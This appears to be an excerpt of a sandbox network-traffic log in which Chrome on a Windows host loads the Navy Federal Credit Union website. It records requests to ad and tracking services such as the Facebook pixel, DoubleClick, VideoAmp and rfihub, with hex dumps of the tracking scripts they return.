2024-05-24 22:46:00 UTC	701	OUT	GET /d2/bf474ba2-6d98-11ec-9997-2d0ad9c70a7f/2873/impression?dnt=false&vpxid=2873&bwb=35&us_privacy={{US_PRIVACY_STRING}} HTTP/1.1 Host: b.videoamp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:00 UTC	400	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:00 GMT Content-Type: image/gif Content-Length: 42 Connection: close Server: Beacon Server Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type Set-Cookie: vampid=107a95d0-c279-4503-8b92-2133d873357e; expires=Sat, 24 May 2025 22:46:00 GMT; domain=.videoamp.com; path=/; SameSite=None
2024-05-24 22:46:00 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49881	18.239.18.40	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	618	OUT	GET /js/current/dpm_pixel_min.js?aid=navy-federal-credit-union-ab4e3950-2e70-405c-b377-dcb1b8bfbe47 HTTP/1.1 Host: c.tvpixel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	548	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 105110 Connection: close Last-Modified: Thu, 16 Sep 2021 18:14:59 GMT x-amz-version-id: oMk5SFqHXboEDRm2.vDWImtx_4ARYxEl Accept-Ranges: bytes Server: AmazonS3 Date: Fri, 24 May 2024 11:53:21 GMT ETag: "08e770c8a17bf087d50cec01af0892c2" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 0bdea9339f79fea2216fd97b3f7856f2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P6 X-Amz-Cf-Id: zwCxcNYl2lvXW0k4rAwVsjaNQ_-lvC_dVqgs6N9yv7d2HZO4i__eCA== Age: 39161
2024-05-24 22:46:01 UTC	16384	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 44 50 4d 20 54 56 50 69 78 65 6c 20 66 6f 72 20 4a 53 2d 62 61 73 65 64 20 74 72 61 63 6b 69 6e 67 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 31 2e 32 2e 39 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 44 61 74 61 20 50 6c 75 73 20 4d 61 74 68 20 43 6f 72 70 6f 72 61 74 69 6f 6e 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 50 61 72 61 6d 73 28 65 29 7b 66 6f 72 28 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 2c 72 3d 6f 2e 6c 65 6e 67 74 68 2d 31 3b 72 3e 2d 31 3b 72 2d 2d 29 69 66 28 6f 5b 72 5d 2e 73 72 63 26 26 6f 5b 72 5d 2e 73 72 63 2e 69 6e Data Ascii: /** * DPM TVPixel for JS-based tracking * @version 1.2.9 * @copyright Copyright (c) Data Plus Math Corporation */(function() { function getParams(e){for(var o=document.getElementsByTagName("script"),r=o.length-1;r>-1;r--)if(o[r].src&&o[r].src.in
2024-05-24 22:46:01 UTC	16384	IN	Data Raw: 48 61 73 22 3a 31 31 31 2c 22 2e 2f 5f 73 74 61 63 6b 53 65 74 22 3a 31 31 32 7d 5d 2c 31 33 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 65 28 22 2e 2f 5f 72 6f 6f 74 22 29 2e 53 79 6d 62 6f 6c 3b 74 2e 65 78 70 6f 72 74 73 3d 72 7d 2c 7b 22 2e 2f 5f 72 6f 6f 74 22 3a 31 30 34 7d 5d 2c 31 34 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 65 28 22 2e 2f 5f 72 6f 6f 74 22 29 2e 55 69 6e 74 38 41 72 72 61 79 3b 74 2e 65 78 70 6f 72 74 73 3d 72 7d 2c 7b 22 2e 2f 5f 72 6f 6f 74 22 3a 31 30 34 7d 5d 2c 31 35 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 65 28 22 2e 2f 5f 67 65 74 4e 61 74 69 76 65 22 29 28 65 28 22 2e 2f 5f 72 6f 6f 74 22 29 2c 22 57 65 61 6b 4d 61 70 22 29 3b 74 2e Data Ascii: Has":111,"./_stackSet":112}],13:[function(e,t,n){var r=e("./_root").Symbol;t.exports=r},{"./_root":104}],14:[function(e,t,n){var r=e("./_root").Uint8Array;t.exports=r},{"./_root":104}],15:[function(e,t,n){var r=e("./_getNative")(e("./_root"),"WeakMap");t.
2024-05-24 22:46:01 UTC	16384	IN	Data Raw: 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 61 3d 65 28 22 2e 2f 65 71 22 29 2c 6f 3d 65 28 22 2e 2f 69 73 41 72 72 61 79 4c 69 6b 65 22 29 2c 69 3d 65 28 22 2e 2f 5f 69 73 49 6e 64 65 78 22 29 2c 63 3d 65 28 22 2e 2f 69 73 4f 62 6a 65 63 74 22 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 21 63 28 6e 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 72 3d 5f 74 79 70 65 6f 66 28 74 29 3b 72 65 74 75 72 6e 21 21 28 22 6e 75 6d 62 65 72 22 3d 3d 72 3f 6f 28 6e 29 26 26 69 28 74 2c 6e 2e 6c 65 6e 67 74 68 29 3a 22 73 74 72 69 6e 67 22 3d 3d 72 26 26 74 20 69 6e 20 6e 29 26 26 61 28 6e 5b 74 5d 2c 65 29 7d 7d 2c 7b 22 2e 2f 5f 69 73 49 6e 64 65 78 22 3a 37 39 2c 22 2e 2f 65 71 22 3a 31 31 37 2c Data Ascii: :[function(e,t,n){var a=e("./eq"),o=e("./isArrayLike"),i=e("./_isIndex"),c=e("./isObject");t.exports=function(e,t,n){if(!c(n))return!1;var r=_typeof(t);return!!("number"==r?o(n)&&i(t,n.length):"string"==r&&t in n)&&a(n[t],e)}},{"./_isIndex":79,"./eq":117,
2024-05-24 22:46:01 UTC	16384	IN	Data Raw: 20 41 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 2e 6c 65 6e 67 74 68 3c 3d 31 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 2e 6c 65 6e 67 74 68 3c 3d 31 7d 66 75 6e 63 74 69 6f 6e 20 53 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 29 7c 7c 62 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 29 7b 72 65 74 75 72 6e 21 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 7c 7c 32 21 3d 3d 65 2e 6c 65 6e 67 74 68 29 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 31 5d 29 3f 78 28 65 5b 30 5d 29 26 26 6c 28 65 5b 31 5d 2c 53 29 3a 78 28 65 5b 30 5d 29 26 26 53 28 65 5b 31 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: A(e){return"function"==typeof e&&e.length<=1}function x(e){return"function"==typeof e&&e.length<=1}function S(e){return A(e)\|\|b(e)}function C(e){return!(!Array.isArray(e)\|\|2!==e.length)&&(Array.isArray(e[1])?x(e[0])&&l(e[1],S):x(e[0])&&S(e[1]))}function
2024-05-24 22:46:01 UTC	16384	IN	Data Raw: 65 29 7b 76 61 72 20 74 3d 7b 6e 61 6d 65 3a 6c 28 65 29 2c 76 61 6c 75 65 3a 65 2e 76 61 6c 75 65 2c 6e 6f 64 65 4e 61 6d 65 3a 65 2e 6e 6f 64 65 4e 61 6d 65 7d 3b 65 2e 74 79 70 65 26 26 22 49 4e 50 55 54 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 26 26 28 74 2e 74 79 70 65 3d 65 2e 74 79 70 65 29 2c 22 63 68 65 63 6b 62 6f 78 22 21 3d 3d 65 2e 74 79 70 65 26 26 22 72 61 64 69 6f 22 21 3d 3d 65 2e 74 79 70 65 7c 7c 65 2e 63 68 65 63 6b 65 64 7c 7c 28 74 2e 76 61 6c 75 65 3d 6e 75 6c 6c 29 2c 72 2e 70 75 73 68 28 74 29 7d 7d 29 7d 29 2c 72 7d 28 74 29 3b 70 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 76 61 6c 75 65 3d 75 28 65 2e 76 61 6c 75 65 29 7d 29 2c 69 2e 74 72 61 63 6b 46 6f 72 6d 53 75 62 6d 69 73 Data Ascii: e){var t={name:l(e),value:e.value,nodeName:e.nodeName};e.type&&"INPUT"===e.nodeName.toUpperCase()&&(t.type=e.type),"checkbox"!==e.type&&"radio"!==e.type\|\|e.checked\|\|(t.value=null),r.push(t)}})}),r}(t);p(n,function(e){e.value=u(e.value)}),i.trackFormSubmis
2024-05-24 22:46:01 UTC	8080	IN	Data Raw: 21 3d 3d 6e 3f 6e 3a 74 68 69 73 29 2e 54 72 61 63 6b 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 66 2c 72 29 7b 28 72 3d 72 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 70 6f 73 74 22 29 3f 72 2e 65 76 65 6e 74 4d 65 74 68 6f 64 3d 21 30 3d 3d 3d 72 2e 70 6f 73 74 3f 22 70 6f 73 74 22 3a 22 67 65 74 22 3a 72 2e 65 76 65 6e 74 4d 65 74 68 6f 64 3d 72 2e 65 76 65 6e 74 4d 65 74 68 6f 64 7c 7c 22 70 6f 73 74 22 2c 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 75 73 65 53 74 6d 22 29 7c 7c 28 72 2e 75 73 65 53 74 6d 3d 21 30 29 3b 76 61 72 20 6d 2c 61 2c 76 2c 64 2c 6f 2c 69 2c 68 2c 63 2c 70 2c 73 2c 75 2c 6c 2c 67 2c 79 2c 5f 2c 62 2c 77 2c 6b 2c 41 2c 78 2c 53 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 63 6f 6e Data Ascii: !==n?n:this).Tracker=function(e,t,n,f,r){(r=r\|\|{}).hasOwnProperty("post")?r.eventMethod=!0===r.post?"post":"get":r.eventMethod=r.eventMethod\|\|"post",r.hasOwnProperty("useStm")\|\|(r.useStm=!0);var m,a,v,d,o,i,h,c,p,s,u,l,g,y,_,b,w,k,A,x,S=Object.freeze({con
2024-05-24 22:46:01 UTC	15110	IN	Data Raw: 70 74 69 6d 69 7a 65 6c 79 2f 65 78 70 65 72 69 6d 65 6e 74 2f 6a 73 6f 6e 73 63 68 65 6d 61 2f 31 2d 30 2d 30 22 2c 64 61 74 61 3a 72 7d 29 7d 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 5b 5d 7d 28 29 2c 6f 3d 30 3b 6f 3c 61 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 2e 70 75 73 68 28 61 5b 6f 5d 29 3b 69 66 28 67 65 2e 6f 70 74 69 6d 69 7a 65 6c 79 53 74 61 74 65 73 29 7b 76 61 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 2c 74 3d 48 65 28 22 65 78 70 65 72 69 6d 65 6e 74 73 22 29 3b 69 66 28 74 29 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 65 2e 70 75 73 68 28 6e 29 3b 76 61 72 20 72 3d 48 65 28 22 73 74 61 74 65 22 29 3b 69 66 28 72 29 7b 66 6f 72 28 76 61 72 20 61 Data Ascii: ptimizely/experiment/jsonschema/1-0-0",data:r})}return t}return[]}(),o=0;o<a.length;o++)t.push(a[o]);if(ge.optimizelyStates){var i=function(){var e=[],t=He("experiments");if(t)for(var n in t)t.hasOwnProperty(n)&&e.push(n);var r=He("state");if(r){for(var a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49874	104.115.82.33	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	651	OUT	GET /pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height= HTTP/1.1 Host: trkn.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	549	IN	HTTP/1.1 302 Moved Temporarily Location: /pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height=;ip=8.46.123.175;cuidchk=1 Date: Fri, 24 May 2024 22:46:01 GMT Connection: close X-Content-Type-Options: nosniff P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: barometric[cuid]=cuid_665118a9-1d52-4736-b8e5-2579d93bc663; expires=Sat, 24-May-2025 22:46:01 GMT; Max-Age=31536000; path=/; SameSite=None; Secure; domain=.trkn.us; Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49884	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	639	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	2008	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-in [TRUNCATED]
2024-05-24 22:46:01 UTC	1854	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2d 70 6f 6c 69 63 79 3a 20 66 6f 72 63 65 2d 6c 6f 61 64 2d 61 74 2d 74 6f 70 0d 0a 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d Data Ascii: document-policy: force-load-at-toppermissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49886	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	602	OUT	GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3403, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 24 May 2024 22:46:01 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49890	172.217.18.6	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	919	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUk2lHwRipcrvFKh3Vm5dsyp7CjA76h6cSO9XW9R4T8y7lZnxnsmfXZE4wBQqGQ
2024-05-24 22:46:01 UTC	4595	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"16485783623789574909"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:01 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49888	13.32.110.77	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	528	OUT	GET /js/tc.min.js HTTP/1.1 Host: c1.rfihub.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	587	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 19498 Connection: close Date: Fri, 24 May 2024 21:56:02 GMT P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Cache-Control: public, max-age=3600 Expires: Fri, 24 May 2024 22:56:02 GMT Last-Modified: Fri, 24 May 2024 21:55:52 GMT Server: Jetty(9.4.51.v20230217) Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 a4035907ac3c3ba8d1fd116b6b6b9a4c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: VIE50-C2 X-Amz-Cf-Id: 1rM-dtgwD7goZFBM3He3jFQxaZIy9R71uX3i3xb4WYMzslH2op3JWA== Age: 2999
2024-05-24 22:46:01 UTC	15797	IN	Data Raw: 0a 76 61 72 20 4a 53 4f 4e 3b 4a 53 4f 4e 7c 7c 28 4a 53 4f 4e 3d 7b 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 72 65 74 75 72 6e 20 31 30 3e 61 3f 22 30 22 2b 61 3a 61 7d 66 75 6e 63 74 69 6f 6e 20 71 75 6f 74 65 28 61 29 7b 72 65 74 75 72 6e 20 65 73 63 61 70 61 62 6c 65 2e 6c 61 73 74 49 6e 64 65 78 3d 30 2c 65 73 63 61 70 61 62 6c 65 2e 74 65 73 74 28 61 29 3f 27 22 27 2b 61 2e 72 65 70 6c 61 63 65 28 65 73 63 61 70 61 62 6c 65 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6d 65 74 61 5b 61 5d 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 3f 62 3a 22 5c 5c 75 22 2b 28 22 30 30 30 30 22 2b 61 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 Data Ascii: var JSON;JSON\|\|(JSON={}),function(){"use strict";function f(a){return 10>a?"0"+a:a}function quote(a){return escapable.lastIndex=0,escapable.test(a)?'"'+a.replace(escapable,function(a){var b=meta[a];return"string"==typeof b?b:"\\u"+("0000"+a.charCodeAt(0)
2024-05-24 22:46:01 UTC	3391	IN	Data Raw: 22 20 69 6e 73 65 72 74 65 64 22 29 2c 64 7d 2c 69 6e 73 65 72 74 49 66 72 61 6d 65 49 6e 74 65 72 6e 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 2c 67 2c 68 3b 72 65 74 75 72 6e 20 64 3d 74 68 69 73 2e 72 66 69 53 65 72 76 65 72 3f 74 68 69 73 2e 72 66 69 53 65 72 76 65 72 3a 62 2b 22 70 2e 72 66 69 68 75 62 2e 63 6f 6d 22 2c 63 3d 74 68 69 73 2e 64 65 62 75 67 4d 6f 64 65 3f 22 26 72 66 69 44 65 62 75 67 3d 31 22 3a 22 22 2c 67 3d 21 31 2c 66 3d 67 3f 22 2f 74 22 3a 22 22 2c 68 3d 74 68 69 73 2e 67 65 74 50 72 6f 74 6f 63 6f 6c 28 29 2b 22 2f 2f 22 2b 64 2b 66 2b 22 2f 63 61 2e 68 74 6d 6c 3f 22 2b 61 2b 74 68 69 73 2e 67 65 74 55 75 69 64 50 61 72 61 6d 28 29 2b 63 2b 22 26 72 61 3d 22 2b 74 68 69 73 2e 63 61 63 Data Ascii: " inserted"),d},insertIframeInternal:function(a,b){var c,d,e,f,g,h;return d=this.rfiServer?this.rfiServer:b+"p.rfihub.com",c=this.debugMode?"&rfiDebug=1":"",g=!1,f=g?"/t":"",h=this.getProtocol()+"//"+d+f+"/ca.html?"+a+this.getUuidParam()+c+"&ra="+this.cac
